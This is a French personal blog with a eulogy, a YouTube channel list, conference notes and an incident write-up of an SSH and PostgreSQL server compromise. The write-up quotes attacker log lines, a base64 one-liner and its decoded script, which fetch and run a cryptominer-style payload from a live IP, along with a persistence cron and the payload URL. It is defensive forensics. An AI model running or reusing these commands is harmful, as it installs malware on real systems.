L'Imp'Rock Scénette (by @_daffyduke_)

Sommaire

Olivier Duquesne aka DaffyDuke — 2021-05-04T15:39:52Z

- 4- BTS Biochimie

Salut Patrice

Olivier Duquesne aka DaffyDuke — 2021-01-13T20:01:24Z

Ce lundi matin, mon ami Patrice en a fini.

Portrait de Patrice Budzinsli

Mathieu Drouet

Magnifique portrait par mon ami Mathieu Drouet (@mathieu.drouet)

Tu sais Patrice, c'est ce copain rencontré pendant le festival qu'il organisait à Arras. Sacrés Belges, via mon copain Steph. Grace à lui j'ai modelé une culture rock avec Girls In Hawai, Ghinzu, Sharko, ... On a fêté son départ du Pharos dignement ! (il est où Jean-Yves ?).Patrice m'a donné l'envie d'aller voir des concerts, au Grand Mix, à Tourcoing. D'année en année,par son impulsion, je suis entré au Conseil d'Administration puis au Bureau de l'association. Que d'afters saluées comme des victoires. Je me souviendrai longtemps encore de ses enfants dansant sur le bar, des repas au catering avec les artistes que ce soit Gomm ou Puppetmastazz ou encore les présentations du trimestre : "Çà va être bien".

Patrice était militant. Pour Benoît. Mais aussi pour Dominique et tant d'autres. Il aimait sans compter. On a voulu soutenir notre copain Dominique lorsqu'on a estimé qu'il avait été licencié injustement. "Hé toi l'informaticien, tu peux pas me faire un site vite fait pour qu'on montre ça à la télé ?".

On s'est retrouvé plusieurs fois dans le bassin minier : une tournée de bars, de copains, de générosité avant tout. Je suis né dans le Nord, je ne connaissais pas l'accueil du Nord comme ça. Patrice, c'est l'ami que je ne voyait pas souvent mais qui me manquait dès la porte franchie.

On pouvait parler de tout, beaucoup de culture. De musique bien sûr, mais aussi de ciné, de séries, de bandes dessinées, de politique, des enfants, de sport (enfin surtout lui) ... Il a toujours montré que c'était possible. Mais c'est aussi la seule personne avec qui je pouvais passer des heures à refaire le monde autour d'une question tellement simple "Çà va ?".

Nous avons pris plaisir quelques jours dans son village il y a déjà trop longtemps. "Faut v'nir hein, et pas que pendant les vacances". J'ai pas tenu ma promesse ...

Une des dernières fois que nous avions échangé au téléphone, c'était pour me dire que son nouveau meilleur ami c'était son chauffeur de taxi. 2h aller, 2h retour quotidien pour son traitement à l'hôpital. J'ai promis que je rappellerai plus souvent.

J'appelle pas, personne, jamais. Je n'ai jamais su faire çà. Tu le savais, c'est toujours toi qui m'a appelé. Toujours. Comme ce jour où tu m'as interdit de rester chez moi après une bien triste nouvelle. On est allé au cinoch', dans le Pas de Calais, moi le lillois de la grande ville.

Puis tu n'arrivais plus à nous lire, alors c'est vrai on s'est un peu perdu. Mais si tu savais le nombre d'insomnies que j'ai pu avoir, hier encore, où tous ces mots se sont bousculés encore et encore.

Salut Patrice, tu étais fier de ta femme Sylvie et des enfants même si "ouai, c'est pas toujours facile tu sais". Je sais qu'ils sont fiers de leur papa.

Que j'aime à écouter la musique qu'Alex a préparé. A chaque titre je te retrouve. Je n'arriverai pas à t'oublier. Je commenterai ici uniquement les 3 titres que j'ai ajoutés :

– Walk The Line par Johnny Cash : c'est le film que nous sommes allés voir ensemble. Oui c'est le seul, mais c'est surtout le moment, c'était ce jour là qu'il fallait le faire, merci
– Turn To Dust par Cascadeur. Tu vois, tu avais quitté le Grand Mix (à vai dire, l'Aéro aussi), le Grand Mix était en travaux, mais quand Cascadeur est venu jouer à l'Idéal, Alexandre a tenu à te rendre hommage, il aurait voulu que tu sois là ce soir là
– The Suburbs par Arcade Fire pour illustrer comment tu pouvais t'enthousiasmer pour des artistes. À l'époque on s'échangeait des mp3 sur napster ou soulseek, ce groupe commençait à peine à percer au Canada, tu nous en parlais déjà....

Je ne t'appellerai pas. C'est promis.

Les chaînes YouTube culturelles et scientifiques francophones

Olivier Duquesne aka DaffyDuke — 2020-05-01T16:23:38Z

Je n'arrive pas à retrouver la source du document, c'est une liste de 350 chaînes Youtube à contenu éducatif.
Elle nous est proposée par Mathilde Hutin, pour le Ministère de la Culture.
Le document est sous licence Creative Common CC-by-NC.

- Ailleurs / download, informations

Histoire d'un piratage

Olivier Duquesne aka DaffyDuke — 2019-07-13T23:15:45Z

Ce matin, au réveil, après avoir passé une soirée de remise en route de la messagerie sur mon Kimsufi, quelle ne fut pas ma surprise avec le mail suivant :

*** SECURITY information for <hostname>.kimsufi.com *** Date:	Sat, 13 Jul 2019 05:20:34 +0200 (CEST) <hostname>.kimsufi.com : Jul 13 05:20:33 : postgres : user NOT in sudoers ; TTY=unknown ; PWD=/var/lib/postgresql ; USER=root ; COMMAND=/dev/shm/.satan

Waw ! stupeur. D'abord, première réaction : "punaise, ils sont de mieux en mieux faits les spams de nos jours !" Je regarde l'en-tête, tout ce qui a l'air de plus légal. Alors, regardons ça de plus près. postgres, c'est probablement l'utilisateur de postgresql, je ne me souviens pas trop à quoi il sert mais en effet, ça fait un moment que mon outil de vérification des services cassés me le signale, je le redémarre quand j'y pense. Clairement, ce .satan semble très étrange mais rkhunter ne s'est pas plaint. lynis non plus. Poursuivons.

Analyses

Mon moteur de recherche préféré signale quelqu'un ayant eu une attaque similaire : https://social.imirhil.fr/@aeris/101864561434132681
Moi aussi, je découvre ce .firefoxcatche. Je découvre aussi un répertoire .ssh à côté. Bizarre, je ne me souviens pas de ça. Et là, j'épluche les logs. C'est là que snoopy va m'aider.

auth.log:Jul 9 09:35:40 <hostname> snoopy[22194]: [uid:127 sid:22194 tty:(none) cwd:/var/lib/postgresql filename:/bin/bash]: bash -c cd /dev/shm; rm -rf .satan*; wget -w 1 -T 10 -t 5 -q 54.37.70.249/.satan; chmod 777 .satan auth.log:Jul 9 09:35:40 <hostname> sshd[21969]: Close session: user postgres from 186.3.234.169 port 33820 id 1 auth.log:Jul 9 09:35:41 <hostname> sshd[21969]: Starting session: command for postgres from 186.3.234.169 port 33820 id 0

Ha ! Là, c'est clair. Mais alors, que fait mon google-authenticator ? Il m'a bien demandé un code pour ma propre connexion. J'essaye sur postgres. Stuper, le login se fait sans authentification ni mot de passe ni clé. OK, la machine est compromise.

Réfléchissions, si je me fais voir, il va prendre peur et peut-être tout casser. Je continue à analyser sans rien couper.

OK, dans les logs, je vois des accès de cron :

auth.log:Jul 10 21:13:55 <hostname> snoopy[24068]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql filename:/bin/cat]: cat dir.dir auth.log:Jul 10 21:13:56 <hostname> snoopy[24069]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche filename:/bin/rm]: rm -rf /var/lib/postgresql/ps auth.log:Jul 10 21:13:56 <hostname> snoopy[24070]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche filename:/bin/rm]: rm -rf /var/lib/postgresql/ps.* auth.log:Jul 10 21:13:56 <hostname> snoopy[24071]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche filename:/usr/bin/crontab]: crontab cron.d auth.log:Jul 10 21:13:56 <hostname> snoopy[24072]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche filename:/usr/bin/crontab]: crontab -l

je vois aussi des accès à systemd, mais difficile de savoir de quoi il s'agit. Ca tombe pile pendant une opération de maintenance de ma part.

auth.log:Jul 10 19:30:32 <hostname> snoopy[19720]: [uid:0 sid:1 tty:(none) cwd:/ filename:/bin/ln]: ln -s /lib/systemd/system/postgresql@.service /run/systemd/generator/postgresql.service.wants/postgresql@9.6-main.service auth.log:Jul 10 19:30:50 <hostname> snoopy[19784]: [uid:0 sid:1 tty:(none) cwd:/ filename:/lib/systemd/system-generators/postgresql-generator]: /lib/systemd/system-generators/postgresql-generator /run/systemd/generator /run/systemd/generator.early /run/systemd/generator.late auth.log:Jul 10 19:30:50 <hostname> snoopy[19792]: [uid:0 sid:1 tty:(none) cwd:/ filename:/bin/mkdir]: mkdir -p /run/systemd/generator/postgresql.service.wants auth.log:Jul 10 19:30:51 <hostname> snoopy[19794]: [uid:0 sid:1 tty:(none) cwd:/ filename:/bin/sed]: sed s/#.*$//; /^[[:space:]]*$/d; s/^\s*//; s/\s*$// /etc/postgresql/9.6/main/start.conf auth.log:Jul 10 19:30:51 <hostname> snoopy[19796]: [uid:0 sid:1 tty:(none) cwd:/ filename:/bin/ln]: ln -s /lib/systemd/system/postgresql@.service /run/systemd/generator/postgresql.service.wants/postgresql@9.6-main.service

J'ai encore un peu de mal à savoir si c'est "lui" ou "moi". Si c'est l'autre, c'est uid:0 donc root, donc c'est vraiment grave. Le stress monte.

En effet, il y a quelque chose en cron :

# DO NOT EDIT THIS FILE - edit the master and reinstall. # (cron.d installed on Wed Jul 10 21:22:58 2019) # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $) 0 0 */3 * * /var/lib/postgresql/.firefoxcatche/a/upd>/dev/null 2>&1 @reboot /var/lib/postgresql/.firefoxcatche/a/upd>/dev/null 2>&1 5 8 * * 0 /var/lib/postgresql/.firefoxcatche/b/sync>/dev/null 2>&1 @reboot /var/lib/postgresql/.firefoxcatche/b/sync>/dev/null 2>&1 #5 1 * * * /tmp/.X15-unix/.rsync/c/aptitude>/dev/null 2>&1

Comprendre. Ce n'est pas moi sur ce créneau horaire, ça colle avec les logs, il ne faut pas rebooter, il y a d'autres répertoires pourris : /tmp/.X15-unix .
Là dedans, je trouve un tar.gz, un script rsync, des binaires comme ps ou kill.

OK, ça doit expliquer pourquoi je ne vois pas, ça a été remplacé ?
Un ps me montre que le process rsync tourne et c'est tout, rien à côté. Ce n'est donc pas le rsync que je connais. J'en profite pour réinstaller procutils après avoir vérifié que :
– la conf apt n'a pas été altérée récemment
– aucun fichier de configuration ne semble avoir été modifié récemment de façon illégitime. Mais c'est difficile à dire. le git log et les diff de toutes parts montrent bien qu'entre le premier login anormal distant et maintenant des tas de fichiers ont été modifiés. Normal, il y a eu une mise à jour de la Debian, une mise à jour majeur de Yunohost et surtout la migration de la configuration ssh de root vers admin.

Je trouve curieux que postgre ait un shell valide, je pop vite fait une debian pour y mettre un postgresql-server, pareil. Et l'utilisateur n'a a priori pas de mot de passe. Pareil donc, la faille ne vient pas de là, pas encore.

Je ne retrouve pas la clé SSH chez moi, les IP viennent de l'Equateur et de l'Inde.

Je ne retrouve pas de configuration systemd.

Les logs laissent penser que ce n'est pas un humain par leur quantité sur le temps imparti et les commandes exécutées.

auth.log:Jul 10 21:10:40 <hostname> snoopy[23201]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync filename:/bin/rm]: rm -rf /var/lib/postgresql/.ttp auth.log:Jul 10 21:10:40 <hostname> snoopy[23202]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync filename:/bin/rm]: rm -rf /var/lib/postgresql/.firefoxcatche auth.log:Jul 10 21:10:40 <hostname> snoopy[23203]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync filename:/bin/mkdir]: mkdir /var/lib/postgresql/.firefoxcatche auth.log:Jul 10 21:10:40 <hostname> snoopy[23204]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync filename:/bin/cp]: cp -r a /var/lib/postgresql/.firefoxcatche/ auth.log:Jul 10 21:10:40 <hostname> snoopy[23205]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync filename:/bin/cp]: cp -r b /var/lib/postgresql/.firefoxcatche/ auth.log:Jul 10 21:10:40 <hostname> snoopy[23207]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche/a filename:/bin/sleep]: sleep 5s auth.log:Jul 10 21:10:40 <hostname> snoopy[23206]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche/a filename:/usr/bin/nohup]: nohup ./init0 auth.log:Jul 10 21:10:45 <hostname> snoopy[23214]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche/a filename:/usr/bin/nohup]: nohup ./a auth.log:Jul 10 21:10:45 <hostname> snoopy[23213]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche/a filename:/usr/bin/nohup]: nohup ./a auth.log:Jul 10 21:10:45 <hostname> snoopy[23215]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche filename:/bin/cat]: cat dir2.dir

Mais là ça devient intéressant :

auth.log:Jul 13 05:20:13 <hostname> snoopy[16816]: [uid:127 sid:16816 tty:(none) cwd:/var/lib/postgresql filename:/bin/bash]: bash -c cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcApybSAtcmYgLlgxNS11bml4Cm1rZGlyIC5YMTUtdW5peApjZCAuWDE1LXVuaXgKcGtpbGwgLTkgY3JvbiA+IC5vdXQKd2dldCAtcSBodHRwOi8vNTQuMzcuNzAuMjQ5L2RvdGEyLnRhci5neiB8fCBjdXJsIC1PIC1mIGh0dHA6Ly81NC4zNy43MC4yNDkvZG90YTIudGFyLmd6CnNsZWVwIDdzICYmIHRhciB4ZiBkb3RhMi50YXIuZ3oKI3JtIC1yZiBkb3RhMi50YXIuZ3oKY2QgLnJzeW5jCmNobW9kIDc3NyAqCmNkIC90bXAvLlgxNS11bml4Ly5yc3luYy9hICYmIC4vY3JvbiB8fCAuL2FuYWNyb24KZXhpdCAw" | base64 --decode | bash auth.log:Jul 13 05:20:16 <hostname> sshd[16814]: Starting session: command for postgres from 202.91.82.54 port 33519 id 1

Je vous le décode pour vous :

#!/bin/bash cd /tmp rm -rf .X15-unix mkdir .X15-unix cd .X15-unix pkill -9 cron > .out wget -q http://54.37.70.249/dota2.tar.gz || curl -O -f http://54.37.70.249/dota2.tar.gz sleep 7s && tar xf dota2.tar.gz #rm -rf dota2.tar.gz cd .rsync chmod 777 * cd /tmp/.X15-unix/.rsync/a && ./cron || ./anacron

Je fais le curl au même endroit, ça pourra aider pour la suite.

Le .rsync est fait un script perl en base64 qui écoute en https.

Remédiation

J'oubliais de préciser. Entre temps, la mise à jour de procps a vraiment fait monter en I/O le serveur, l'accès SSH semble cassé.

Via l'interface web de Yunohost, j'arrête SSH purement est simplement. J'ai alors des alertes systèmes et d'indispo de la part du monitoring OVH, je prends peut, j'avoue, et je démarre la machine en mode rescue.

A supposer que des mots de passe soient compromis, je récupère les accès modifie les mots de passe de messagerie et supprime les mails reçus qui indiqueraient à l'attaquant comment accéder au mode rescue. Après, ça n'eclue rien , mais je me félicite d'y avoir pensé sur le moment.

Je prends le temps d'analyser le contenu du data2.tar.gz

C'est un truc de script kiddie.

La chaîne du .rsync se retrouve sur un site de machines compromises (la mienne n'y est pas encore) : http://threatwar.com/ssh/commands

Des gros finds sur l'uid 127 ne semblent pas confirmer la présence d'autres fichiers.

Je me contente de supprimer les répertoires critiques dans /var/lib/postgresql, dans /var/tmp, dans /tmp. Je dégage la cron. J'en profite pour n'autoriser qu'un seul utilisateur dans la configuration sshd.

Et je reboot.

Une fois online, je modifie le mot de passe de postgres (vu qu'on voit bien qu'il a été modifié dans les logs de snoopy), j'éteins postgresql, je désactive le compte.

Post analyses

Déjà, pas de nouvelles tentatives dans les logs d'authentification.

fail2ban a bien fait son travail mais vu qu'il n'y a pas assez de tentatives .... J'en conclue que la faille devait être connue sur un mot de passe postgresql faibles sur debian (avec yunohost ?).

Tous les services ont un comportement normal, les données n'ont pas été altérées. Volées ? Difficile à dire.

La lecture du data2.tar.gz est décidément instructif.

Je regarde ce qu'il y a dans cette instance postgresql. Conclusion, ce serveur ne sert plus rien. Pas de bases de données, aucune application ne semble y accéder, à l'inverse toutes les applications semblent trouver leur bases dans le mariadb à côté.

Je supprime donc toute trace de postgresql : packages et user.

Et j'observe. régulièrement. lnav en permanence.

Conclusion

OK, cette machine n'est pas forcément une crème de la sécurité mais si on se dit que
– l'OS est globalement à jour à la semaine près, tous les paquets debian aus
– nombre des recommandations de lynis ont été appliquées (sshd, nginx, ....)
– lynis, rkhunter, fail2ban sont installés
– iptables est configuré et démarré et n'autorise que les ports légitimes
– il y a une double authentification sur l'accès SSH

et pourtant la machine a été compromise ! et grossièrement !
Cela signifie peut-être qu'il y a autre chose, certes. Je n'ai pas encore pris le temps pour cela. Mais cela signifie surtout qu'il faut toujours rester vigilant.

Annexes

Le code est ici
https://www.hybrid-analysis.com/sam...

http://54.37.70.249/dota2.tar.gz

Les IP sources :

grep sshd auth.log* | grep postgres | grep Start | awk '{print $12}' | sort | uniq -c 26 186.3.234.169 26 202.91.82.54

Notes Meetup Docker - chez GFI

Olivier Duquesne aka DaffyDuke — 2017-02-23T18:29:00Z

VSCT

2015 openstack en réaction à aws
2016 docker + MEP openstack
mutation socité é DEVOPS
création d'une plateforme VSCloud, build fast & chip
Environ 10 applis en prod docker (essentiellement applis internes) ou le site
de recrutement
openstack par hp (helion)
(avec un debut brique à brique pour expérimenter )
git puppet consul jenkins consul-hproxy swarm register jira

tenant + swarm + catalogue d'image docker tomcat, mysql, ....
avec consul / nginx / ...
jenkins en mode pipeline pour le dploiement des conteneurs

puis l'equipe de prod deploie en prod
dans le même tenant (2 swarm + 1 VM bastion)

c'est jenkins qui ordonnance les install' avec u go humain pour la prod

puppet crée le tenant pour donner à manger à heat
(avant rundeck + heat)
fail fast sur consul (pas encore de bdd à rollbacker)
flocker pour le backup de base en cron
sur des SLA nuls :-)

vision à 2 ans pour la scalabilité

planif de MEP encore

garantie de la prod : prod ou dev ? c'est le dev qui a la main sur le contenu
pas la prod "comme avant"
besoin de changement d'organisation

autre solution kafka-manager

recrutement vsct com

openstack = 1 IP entrante

supervision cetreon mais pas simple sur docker ....

ADEO

rancher
pas de maturite en prod, c'est le dev qui pousse

Notes Configuration Management Camp 2017

Olivier Duquesne aka DaffyDuke — 2017-02-07T18:27:00Z

650 personnes Ondrej Prazak pour foreman Ansible devant puppet en 2017 Is a solved problem ? I'm sorry from the States @lusis Disait en 2011 is a solved problem with a panel service matters, not servers for what : package, daemons, files, templates, users now, everithyng else as orchestration, lifecycle, mgmt, secrets (Vault, HSM) we miss active enforcement comprendre les modifs entre deux run de CM use dbu, inotify, kbus, .... => un hook kernel pour le cfgmgmt ? un nouvel init ? idée : distributed CM (p2p) ex : whet happened when master go down Habitat is sort of peer ring between nodes Voir Ubuntu snappy (eq docker ?) le nouveau format de package "universel" https://www.ubuntu.com/desktop/snappy q? puppet inside container or deploy wontainer with puppet ? Self-Assembling, Self-Healing Architecture in AWS (hashicorp) James from hachicorp @jen20 ami en zfs root + snapshot inline dans le maifest packer approch sans provi terraform/packer demo : main.tf terraform plan, let's go permet de reprendre les modif à la main forme de configm mgmt pour cloud then terraform apply ajout d'un rm de la clé ssh en fin de provi best practice : un main.cf par environnement, mais des modules communs deploy ubuntu consul branché sur le vault pour les mdp openvpn Paul Bellamy Love the container bosse à weavecloud ieurs schémas d'archi "à la maode" nginx, proxy d'appli, .... pets vs cattle typos vs => kubernets/ansible/terraform (infrastructure management) attention tous ces outils sont TRES destructifs topics vs safe tools : people make mistakes without metadata there s no hope metrics, monitor : rate, errors, duration même kevin l'a dit ! exemle de de grafana run fast , break things, fix them prometheus : https://prometheus.io/docs/introduction/overview/ Ansible Anonymous - Dag Wieers @dagwieers Group therapy for Ansible addicts ansible 2012n connu pour hpilo, vmware_guest documentation sur github, grossi avec le rachat de RedHat governance difficile à suivre après le rachat de redhat github ansibot pour maintenir un annuaire de modules ansible => aussi pour la qualité du code Robyn Bergeron Architecte RedHat Ansbile PEP-8 compliance testing : https://www.python.org/dev/peps/pep-0008/ design : agentless, KISS ssh winrm python powershell yaml jinja2 yaml syntax parsinf : indentation is crucial, attention aux 'action:' *Read presciption carefully and consult doctor* attention à écrire le jinja2, attention aux attention à la syntaxe yaml ansible-playbook <yamlfile> ex: missing command si manqun Kubernetes Sébastien Goasguen @sebgoa serverless http://www.skippbox.com - dismissed EC2 Elastic Cloud Compute beta don't mind the hype garner : serverless archotecture dans la montée loMike Roberts martinfowler.com/articles/serverless.html => definition of serverless applcation unit is shrinking to what it dies value chain and evolution 100%devops focus on the bizness, go fast kubeless change mindset : no ssh ! tout est API config rbac .... ajout de CRUD functions, zookeper pour les events demo kubectl get pods --all-mesages https://github.com/skippbox/kubeless/tree/master/examples kubcetl get VNF Why things are changing NFV management and organisation NFV Orchetsrator vs VNF manager vs virtualize infrastructure manager Open Baton ; opnfv VIM = virt infras managaer : openvim, .... Network Function Virtualiaztion NFV load abalncer appliance ecompilée par silo, on en fait des layer pour avoir un VNF est donc un package de virtualisation des fonctions network event driven on config-changed, metricjs, .... implémentation python Orchestration : how to transform amonolithic appliance into a scamabele application possibilité de scalling sur ram, le nomre de host etc ... Katello sync pkg , QoS & efficiency foreman+pulp+candlepin docker, rpm, puppet Rich Jerrido upload or sync yum, puppet, docker, rhcdn, any file download in background or cron Le smart proxy est ouvert sur internet ? manage products product Centos -repo base -updates -plus product postgres -el7 -el6 sync plans with custom subscriptions hammer --output json subscritpn.lst --search "name = "EPEL" --organization enterprise Lifecycle : dev/test/staging/ .... every orga has library host have access to new package from repo depuis une library content view : hold yum, docker, repo, possibilité de rollback dev orga : availael by default, tout est visible os repo + app repo + puppet modules => filters + modules => content view => dispo dans la library library => dev => QA => production saufi si failure composite content view CCV : layers de OS / apps voir les erratas via situational awarenass => demo d'une application d'errata comme "avant sur spacewalk" questions foreman-users@google-groups.com ansible roles to katello Suse ? zypper support : SMT en plus https://213.32.49.93/settings?utf8=%E2%9C%93&search=compos : compose to true to docker katello3 semble meilleur que passenger how to audit, with openscap & foreman ondrej prazak motivation, compliance (joke clinton) scap scanner ajout du xccdf, puis création d'une policy de compliance avec schedule execution du rapport openscap, camember via le dashboard foreman remediation script visible dans foreman via job invocation in host => foreman scap_client 2 avec profile stige_example tailoring file is supported now A venir : remediation inline Shlomi Zadok Infrastruce as a Code kief@thoutworks.com @kief - Kief Morris infrastructure-as-code.com Rappel du state of devops report par puppet Politics and economics of automation by Martin Simons Operating Systems are Assholes by George Miranda genre les OS ça tombe en marche avec des recettes incompréhensibles pour des humains difficile de descendre des RPM non livrés apr mon OS ....,pb de signature Unix is a real things, et pourtant on en avait pas bvesoin lors des cartes unix = kernel, programmes, network , .... security... user interface are for people not for machines which tool is better vim / emacs :-) UI for human (smartphone, tablett, alexa, not datacenter) La pire promesse : les containers pour faire tourner des applications (juste tu télécharge et ça marche) on se fiche de l'OS, pourtant on metun OS dedans et comment auditer ..... container or habitat runtime just enough os, appli runtime, ultra thin app with no os => iterate and compare next year normation - automate quality just like you atomate servers benoît peccattte, bpe@normation.com

Notes Oracle Cloud

Olivier Duquesne aka DaffyDuke — 2016-11-17T18:15:00Z

Pres Cloud Oracle 1 OCPU = 2 VCPU AWS (3 GHZ) => Attention factu gestion des users 30j de trial + renew si possible posssibilité de masquer des services à l'utilisateur cloud fonctionne essentiellement en mode sas / paas, peu de iaas => verifier le chiffrement des disques via la cle ssh SLA 99,95% Extreme Performance avec in memory, dataguard (pas dispo en trial), RAC, multi tenant Oracle Linux 6.6 scale up scale down possible sur database 1 To de stockage coute 4 $ / mois disques SSD, teiring, (disques ssd dedies sur bare metal) bulk data import en zfs mdp = celu ide system backup storage = backup sur disque local du meme compute depuis fra (1 full + 7 incr via rman) (apparte le stockage de cloud storage est du openstack swift) => create instance from backup DataGuard utilisable en PRA mais preciser lors de la creation des comptes/bases => à faire aussi pour configurer un backup rman => access ssh avec base de donnes , c'est le partenaire qui maintient l'OS, les patchs, rotation de logs, controler la FRA les services ne sont pas manages par defaut cloud.oracle pas dispo on premise modele flat all inclusive ou modele ou tu paye les iops, la bp etc snapshot => via la gui ou un cron => snapshot de disque, pas de base presentation de volume => monte pour la base commandline + API AWS RDS = pas de base enterprise questions sla downtime => mise à jour imposée par oracle (offre de protection des données/datacenter en cours d'arrivée) goldenfate

Notes Susecon 2016 - Washington

Olivier Duquesne aka DaffyDuke — 2016-11-11T17:58:00Z

# SAP-HANA : system replication, Matthieu Fattrez clb pacemaker fait le job moins d'une minute de bascule pour une base de 800G SAP HANA Utilisation de Suse Manager exemple : patch la machine standby, bascule cluster, puis patch de la machine front, eventuellement retour en position nominale stonith method => sbd meilleure lecture du crm_mon crm_mon -r -A -f # System Security Sardening, tuto different levels high, midrange, lowlevel besoin de design AVANT et d'adopter des philiosphies de déploiement et de cycle de vie des applications implémentation audit password : règle de force de mot de passe, two factor auth si possible authenitifier autant que possible avec PAM => aging; failing, strength check # Keynote #2, annonce de SLES 11 SP4 par le CTO Suse, Mr T, French guy. Pub pour OpenAttic, dernière acquisition Suse pour permettre des migrations Storage Legacy vers du SDN avec CEPH. kubernetes, gaining moment, susecloud7 annoncé à l'openstack summit utilisation de kubernetes pour déployer cloudfoundry ou ceph # CanaryCode, how to monitor SAP applications, une solution Datavard 3,5 Mio de recherches googles en erreur par jour 99,9% de SLA = 8h45 par jour d'indispo Clients SAP : 99.9997% => 1m/year Architecture : CanaryCode Central Instance avec des satelite sustems Bon CanaryCode c'est un AppDynamics en moins joli et moins flexible .... avec un bémol simple, AppDynamics n'a pas l'air compatible SAP là où CanaryCode est dédié SAP. C'est pas une WebUI, c'est aussi intrusif, ça stocke ces infos dans une base de données tierce. Ils annoncent avoir identifié dans "une grosse banque allemeande" des ralentissements dans des applications qui après correction, représenteraient 948 d'attente : par jours corrigés car détectés par CanaryCode. Un pétrolier s'en sert pour faire de l'IDS (un peu comme certain avec Splunk). Il existe une version community : http://canarycode.com/en/ # Hands on Cloud Foundry Alejandro Bonilla https://github.com/abonillasuse/cf-intro système PAAS IAAS openstack SAAS github PAAS Cloud Foundry deployer : cf deploy utilisable openstack azure, vmware, aws, google, BOSH inerroge la plaeforme IAAS service broker permet de faire le lien entre les dependances des différents services BOSH CLI => BOSH director, qui pilote IAAS BOSH provides Stemcell (applications) Iici; pilote Crowbar, permet tous les hyperviseurs possible # Keynote #3 AIX kernel linux to z designed hana smart memory predictive fail memory resiliency multi tb pour hana ibm powervm virtualization limits reduce cost dynamic move vm builtin powervm over lpar SAP affirmation partenariat suse sap essentiellement hana # Hands on systemd storage pour les autres boot journalctl -b 1 pour avoir un précédent log de boot penser à enlever les quiet etc ... Debian enable par défaut les services, pas Suse, il faut donc penser à passer derrière une fois les RPMs installé systemctl mask => ne pas démarrer sur un pb de dépendance, attention au list-unit-files si un service ne démarre pas systemctl list-unit-files | grep masked systemctl status cron.service = jurnalctl -u cron.service = rccron status rendre un service un peu pverbeux => sed -i '4 a set -x' /usr/sbin/service systemctl -t service status => liste tous les services voir le contenu d un service systemctl cqt cron.service systemctl show cron.service killall vs killall -s SIGKILL => le second est restarté sur un SIGKILL killé sur un SIGTERM systemctl status <fstqbentry>.mount Intéressant le defaulttimeoutstartsec pour du nfs ! mieux, un systemd.device-timeout= dans la fstab (méthode préférée car visible de suite) ou de mettre l'option tmeout dans /etc/systemd/mnt2.mount/d/override.conf où /etc/systemd/mnt2.mount/d/override.conf contient [Unit] DefaultTimeoutStartSec=<> attention, i faut d'abord regénérer les unit files avec systemctl daemon-reload journalctl -xb (from last boot) systemd-delta /etc => controle d'intégrité /etc systemd-analyze plot > file.svg = visu graphique de systemctl systemd and docker don't match together, so pb nspawn vs rocket # OpenStack Troubleshooting openstack cloud7 comme d'hab; /var/log/messages, free, vmstat etc .... Les logs de crowbar (production.log et ou) Les logs de chef /var/log/chef/server.log et Rabbit ou encore du provisionner /var/log/apache2/provisionner.log utiliser le rpm supportconfig, il y a iun plugin susecloud bien mettre les échanges de clé ssh , rsysloger les logs si possible utiliser la commande proposal de crowbarctl voir les logs tftpboot voir le discovery voire mettre un mot de passe crowbar_join __verbose --start => pour que le node revienne dans le dashboard crowbar mettre les logs en verbose toujours, en debug parfois => 10 Gb de log par heure ! tester les services indépendamment, exemple glance list et download crm configure graph crm_mon Les nodes s'attendent tous, si un dit timeout c'est qu'on peut aller voir l'info plus loin : pour identifier, utiliser knife search node founder:true -1 # OpenATTIC Une interface de managemnt de stockage alernative aux solutions propriétaires Support NAS/SAN/CEPH complètement GPL now, intégré à Suse en nov. 2016 support zfs, btrfs, extX, SAN, NAS, LVM monitoring in progress icinga

Notes Susecon 2016 - Washington

Olivier Duquesne aka DaffyDuke — 2016-11-07T17:53:00Z

CEPH, OpenSorce, Software Defined Storage, LTS de 12 mois, Suse Storage 3 basee sur Jewel release jusqu qu 6 milliards de noeuds par cluster CERN et toutes les distrib ou constructeurs sont membres du management CEPH usual strategy is to scale up (vertical) ceph is for scaling out (horizontal) suse is the first to ship a iscsi gateway wih ceph (supported) RADOS = CEPH cluster, stockage objet Librados = app pour acceder aux donnees (C, PHP, Java etc) Radosgw = gateway REST co;\mpatible S3, Swift RBD = block sur host qui heberge une instance CEPH FS = fs pour un client la gatway irbd presente les donnees en iscsi ou nfs etc 2 co;posants i;portants : - un OSD pour manager les disques (one per path) - MONS (3, $, ....), pour monitorer le cluster Un algo CRUSH de stockage Disk-> FileSystem (XFS) -> OSD Les donnes sont stockees via algo CRUSH Mimu;m de 3 MONS, utilise algo PAXOS pour monitorer les nodes et le reseau => i;pair absoluement monitor map, contient placement group map, CRUSH map, epoch pour garantir integrite des donnes rssayer de mettre le moins possible de mons un client accede a la donnee objet en ;ode osd directement PAXOS election de l ip la plus petite pour elire un MON les objets sont ranges dans des storage pools defaultpool rbd regles de placement de snapshot par pool l osd voit les placement group, chaque objet est associe a um placement group il faut faire attention au nbre de PG CRUSH controllable Replication Under les donnes ne sont pas centralisees OSD run CRUSH => besoin de CPU Step2, install, hardware voir la doc suse ceph unprivileged, 167 if possible DNS recommande ipv4 tres bien timesync and at least 2 networks : pub for client/admin and priv for osd to osd SES3 dispo en extension de SLES 12sp0 zypper in ceph-deploy and that s all folks ceph-deploy install <node list> ceph-deply new -cluster moncluster <node list> ceph.conf contient les cles et le rep du journal ceph-deploy mon create-initial <node list> utiliser create pour ajouter des nodes MON puis ajouter les OSD 